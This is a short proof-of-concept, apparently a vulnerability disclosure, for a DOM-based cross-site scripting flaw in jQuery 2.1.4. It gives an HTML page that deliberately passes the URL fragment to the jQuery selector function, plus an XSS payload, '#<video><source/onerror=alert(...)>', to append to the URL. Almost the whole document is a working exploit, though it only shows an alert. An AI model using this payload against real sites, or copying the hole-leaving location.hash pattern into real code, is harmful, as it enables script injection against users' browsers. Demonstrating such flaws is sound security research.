Save below code to POC.html:
<html>
<head>
<title>Jquery XSS Test POC</title>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.4/jquery.js"/>
</script>
<script>
$(location.hash.split('#')[1]);
</script>
</head>
<body>
<center><p></p><p></p>
<h1>POC of JQuery DOM XSS in jquery_2.1.4</h1>
<h3>cdn used: <span style="color:red">https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.4/jquery.js</span></h3>
<h3>by using parameter payload as: <span style="color:red">#<video><source/onerror=alert('Hacked-by-XSS')></span></h3>
</center>
</body>
</html>
Open this POC.html in browser and in url add below code:
#<video><source/onerror=alert('Hacked-by-XSS')>